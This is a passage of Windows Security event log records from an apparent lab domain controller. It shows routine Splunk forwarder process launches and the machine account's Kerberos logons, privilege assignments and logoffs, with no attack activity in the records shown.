which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:48:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255965 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x38FD57 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:49:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255968 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:49:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255969 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:49:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255971 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:49:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255970 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:49:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255972 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:49:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255973 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x101c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:49:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255974 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1194 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:49:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255977 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3932FF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:49:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255976 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3932FF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64951 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:49:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255975 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3932FF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:50:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255978 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:50:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255979 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x119c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:50:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255981 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbe0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:50:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255980 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:50:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255982 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1050 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:50:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255983 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:50:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255984 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:50:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255987 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39684D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:50:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255986 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x39684D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64964 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:50:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255985 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x39684D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:51:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255988 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:51:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255989 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ 